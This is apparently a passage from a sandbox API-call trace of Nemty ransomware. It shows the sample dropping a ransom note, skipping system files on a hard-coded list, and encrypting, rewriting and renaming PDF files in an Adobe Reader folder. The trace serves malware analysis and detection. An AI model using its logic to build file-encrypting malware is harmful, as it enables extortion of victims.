HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.465] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.465] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.466] CloseHandle (hObject=0x2f0) returned 1 [0189.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.466] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2492e010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2492e010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.466] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.466] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2492e010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2492e010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.466] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.467] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.467] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.467] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.468] Sleep (dwMilliseconds=0x5) [0189.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24954170, dwHighDateTime=0x1d561e8)) [0189.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24954170, dwHighDateTime=0x1d561e8)) [0189.475] GetLastError () returned 0xb7 [0189.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.475] GetLastError () returned 0xb7 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.476] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.476] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="l2cAN37PP5/i4WnNELmGAPsf2tO/JYjinoN07NIOzgeQ/u+s2U1GRQrtS16pRVhc\r\nDIU9v8p9EgRnGhuGj6g1pmyXSXmcRr3dMm3bB9FaTqYs1QbFVl3UEybRRqKn4uNk\r\n7NZUZ73vkKVnP2Mp+WtZQ+nvJH5rPUUbQZkwwCWiDIwI2+yHNteIlSfF8FBmkFNJ\r\nzjuCCurC8mi8u6CKJcfUr3vhK0m4xKdJURoeV6O5U/hiSxMlQZtwcsw5Sn0sCiHx\r\nwDgutCSBelMJc0IyzLYUyhotSx/vL1dPMOceGhpg8Geb7dnW/KNEIKJ88sNd+LCh\r\nBJHLY8Y43nEnWO/jsFKclQ==\r\n", pcchString=0x653df5c) returned 1 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.477] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=60103) returned 1 [0189.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xeac0) returned 0x6352c48 [0189.477] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.477] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xeac0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xeac0, lpOverlapped=0x0) returned 1 [0189.483] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.483] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xeac0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xeac0, lpOverlapped=0x0) returned 1 [0189.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.483] SetFilePointer (in: hFile=0x320, lDistanceToMove=60103, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xeac7 [0189.483] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.483] CloseHandle (hObject=0x320) returned 1 [0189.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.484] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.484] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0189.485] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0189.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.486] Sleep (dwMilliseconds=0x5) [0189.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2497a2d0, dwHighDateTime=0x1d561e8)) [0189.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2497a2d0, dwHighDateTime=0x1d561e8)) [0189.491] GetLastError () returned 0x0 [0189.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.491] GetLastError () returned 0x0 [0189.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.491] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.491] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.491] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.491] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="Ou+Rkzm+KIZpRr8TEm0nfq6A5s/6YV+YQH7sBeI40wSr19aRVxwsHkkmK5zWtNyZ\r\nLMDu3xl4a7e+Yrk0oJfUjA9GaGGCv63QGCSCcJHtBpET3GEl+vqBo0tuN8f7H9Cd\r\n+iEJzNGo+xAnnORCkFtNDE4biiaeD0rwzjrsXWAP/657cuu3wSnIygXXtjH2r0hw\r\nRowjflAb+DrmDtRfhqRHwNQc4g7v+teYQ7EqnvlfneDb9iiHlOtuNnt8rCd74rvx\r\nYs84mRplNHG484yVGVatb0Hjc8QgEUh3ZxatXur1rtFlUu2AqjdlzTUI9Fz17ZaP\r\nkXx8FEO8/d/d2zqlIQQZNQ==\r\n", pcchString=0x653df5c) returned 1 [0189.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.492] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0189.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0189.492] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.492] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, 